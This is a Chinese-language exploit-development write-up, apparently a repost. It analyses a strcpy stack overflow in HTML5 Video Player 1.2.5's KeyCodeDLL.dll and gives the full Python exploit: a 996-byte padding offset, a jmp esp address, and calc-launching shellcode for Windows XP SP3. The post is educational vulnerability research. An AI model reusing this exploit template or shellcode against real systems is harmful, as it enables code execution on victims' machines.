内容简介:放假前最后一天看到因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:
放假前最后一天看到 exploit-db 上出了一个 HTML5 Video Player 的缓冲区溢出的 exploit,版本是 1.2.5,(无心工作)就分析了一下这个漏洞,是一个比较简单的栈溢出漏洞,简单记录一下。
因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:
# PoC: # 1.) Generate exploit.txt, copy the contents to clipboard # 2.) In application, open 'Help' then 'Register' # 3.) Paste the contents of exploit.txt under 'KEY CODE' # 4.) Click OK - Calc POPS!
看起来溢出发生在注册时,先安装软件,查壳。
.NET
架构,搜了一下发现 C#
难以出现 溢出漏洞 ,因此猜测溢出发生在 dll 中。
使用 dnspy
打开文件,通过搜索注册时的字符串 Key Code
定位到关键的代码在 HTML5VideoPlayer.RegisterDialog.okButton_Click()
// Token: 0x060000ED RID: 237 RVA: 0x00007A60 File Offset: 0x00005C60 private void okButton_Click(object sender, EventArgs e) { string keyName = this.userNameTextBox.Text.Trim(); string keyCode = this.keyCodeTextBox.Text.Trim(); if (CallKeyCodeDLL.isRegisterVersion(keyName, keyCode)) { CallKeyCodeDLL.keyName = keyName; CallKeyCodeDLL.keyCode = keyCode; CallKeyCodeDLL.gIsRegisterCache = true; MessageBox.Show("Thank you for your support to us. You have registered this program successfully. All trial limitation has been removed."); base.Close(); return; } MessageBox.Show("Sorry, the user name and key code is not valid!"); }
在 Key Code
栏中输入一串超长的字符串,然后点 OK
注册,发现程序直接 crash,既没有注册成功的弹窗,也没有注册失败的弹窗,说明溢出发生在 CallKeyCodeDLL.isRegisterVersion()
中。查看该函数:
// Token: 0x06000246 RID: 582 RVA: 0x00011428 File Offset: 0x0000F628 public static bool isRegisterVersion(string userName, string keyCode) { CallKeyCodeDLL.makeSureEngineInit(); int num = CallKeyCodeDLL.funcDLLVerifyKeyCode(userName, keyCode); return num > 0; } // Token: 0x06000245 RID: 581 RVA: 0x00011413 File Offset: 0x0000F613 private static void makeSureEngineInit() { CallKeyCodeDLL.funcDLLInitEngine(8, "SocuJHTY_HTML5VIDEOPLAYER_WIN"); CallKeyCodeDLL._alreadyInitKeyCodeEngine = true; }
该函数又调用了 makeSureEngineInit()
和 funcDLLVerifyKeyCode()
两个函数,其中 CallKeyCodeDLL.funcDLLVerifyKeyCode()
传递了输入的 userName
和 keyCode
,从函数名字来看,溢出就发生在这里了。
查看该函数的定义,是 KeyCodeDLL.dll
中的导出函数,溢出应该就发生在这个函数中了。
// Token: 0x06000244 RID: 580 [DllImport("KeyCodeDLL.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi, EntryPoint = "#1")] private static extern int funcDLLVerifyKeyCode(string strUserName, string strKeyCode);
通过调试验证了猜想。
继续 step over
,程序 crash。
使用 IDA 打开 KeyCodeDll.dll
寻找 funcDLLVerifyKeyCode()
函数,但尴尬的是 dll 被去除了符号表,使用 IDA 看不出函数名,乱翻了几个函数后思考了一下,虽然 dll 没有符号表,但还是能看出导出函数的,于是直接拿 ollydbg
加载程序,查看 KeyCodeDll.dll
的导出函数。
发现只有两个导出函数不确定,应该就是 makeSureEngineInit()
和 funcDLLVerifyKeyCode()
了。分别对两个函数下断点,根据参数调试发现 0x43010D0
是要找的函数。
在 IDA 中查看该函数,发现又调用了另一个函数
int __cdecl funcDLLVerifyKeyCode(char *a1, char *a2) { int result; // eax if ( dword_10004010 ) result = vul((_DWORD *)dword_10004010, a1, a2, 1);// vulnerability else result = 0; return result; }
继续查看
int __thiscall vul(_DWORD *this, const char *username, const char *keycode, int a4) { _DWORD *v4; // ebp int v5; // eax char *v7; // [esp+10h] [ebp-4F4h] char *v8; // [esp+14h] [ebp-4F0h] char *v9; // [esp+18h] [ebp-4ECh] int v10; // [esp+1Ch] [ebp-4E8h] char v11[256]; // [esp+20h] [ebp-4E4h] char v12[256]; // [esp+120h] [ebp-3E4h] __int16 v13; // [esp+220h] [ebp-2E4h] char v14; // [esp+224h] [ebp-2E0h] int v15; // [esp+2CCh] [ebp-238h] char v16[4]; // [esp+2D4h] [ebp-230h] char v17[4]; // [esp+2D8h] [ebp-22Ch] char v18; // [esp+2DCh] [ebp-228h] int v19; // [esp+384h] [ebp-180h] char v20; // [esp+390h] [ebp-174h] char v21; // [esp+394h] [ebp-170h] int v22; // [esp+43Ch] [ebp-C8h] char v23; // [esp+448h] [ebp-BCh] char v24; // [esp+44Ch] [ebp-B8h] int v25; // [esp+4F4h] [ebp-10h] char v26; // [esp+500h] [ebp-4h] v4 = this; this[68] = 0; strcpy(v11, username); // overflow strcpy(v12, keycode); // overflow v7 = v11; v17[0] = 0; v13 = -(a4 != 0); v9 = &v14; v20 = 0; v23 = 0; v26 = 0; v8 = v12; sub_10001310(&v7); v9 = &v18; sub_10001460(&v7); v9 = &v21; sub_100015B0((int)&v7); v9 = &v24; sub_10001710(&v7); if ( dword_10004018 ) dword_10004018(v4, v11); if ( (unsigned __int8)v15 + 1 == (unsigned __int8)v19 && (unsigned __int8)v15 + 2 == (unsigned __int8)v22 && (unsigned __int8)v15 + 3 == (unsigned __int8)v25 ) { LOBYTE(v10) = (unsigned __int8)v15 % 4; v5 = 184 * (unsigned __int8)v10; if ( v17[v5] ) { if ( *(_DWORD *)&v16[v5] == 426969350 ) v4[68] = 1; } } return v4[68]; }
分析到这,就很容易发现漏洞原因了, strcpy()
未检测长度造成了栈溢出
...... char v11[256]; // [esp+20h] [ebp-4E4h] char v12[256]; // [esp+120h] [ebp-3E4h] ...... ...... strcpy(v11, username); // overflow strcpy(v12, keycode); // overflow
并且发现除了 exploit-db 上指明的 KeyCode 可以造成溢出外,UserName 同样也可以造成溢出。
分析了一下函数逻辑后,发现 v12
这个变量在拷贝完 keycode 后就没有再使用过,因此使用这个变量溢出更方便。
查看汇编,发现该函数使用 esp
寻址,因此就不能确定覆盖返回地址所需的长度是 0x3E4 + 0x4 = 1000
了,但大致也在这个附近,使用 msf 的 pattern 功能,经过调试发现覆盖返回地址需要 996
个字节的字符串。又观察了 vul()
函数后发现函数最后的 Epilogue
不是 ret
而是 retn 0Ch
,因此除了覆盖函数返回地址还需要再填充 12 位无用字符。
测试的环境是 windows xp sp3
,既没有 ASLR 也没有 DEP,因此可以构造如下的栈结构
padding(996) --------------- jmp_esp address --------------- padding(12) --------------- shellcode
windows 中经常使用 jmp esp + shellcode
的方法,第一次是在 Jarvis OJ
的 BackDoor
这道题目 中见到了这种技巧。
写了一段弹计算器的 shellcode,需要注意不能出现截断 strcpy()
的字符
shellcode = "\x31\xC9" # xor ecx, ecx shellcode += "\x51" # push ecx shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc) shellcode += "\x54" # push dword ptr esp shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system) shellcode += "\xFF\xD2"; # call edx shellcode += "\x90" * 2 # suffix
完整的 exploit
import struct p32 = lambda x: struct.pack('<I', x) jesp = 0x7d711020 # shell32.dll shellcode = "\x31\xC9" # xor ecx, ecx shellcode += "\x51" # push ecx shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc) shellcode += "\x54" # push dword ptr esp shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system) shellcode += "\xFF\xD2"; # call edx shellcode += "\x90" * 2 # suffix payload = 'A' * 996 + p32(jesp) + "aaaabbbbcccc" + shellcode # print(payload) with open("exploit.txt", "wb") as f: f.write(payload)
使用方法是把 exploit.txt
中的内容复制到 Help -> Register - Key Code
中,然后点击 OK
。
效果图:
Question:
- 直接用长字符串触发 crash,使用 ollydbg 查看调用堆栈,看不到 dll 中的函数,不知是环境问题还是操作有问题
Todo:
- 分析如何绕过注册机制
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。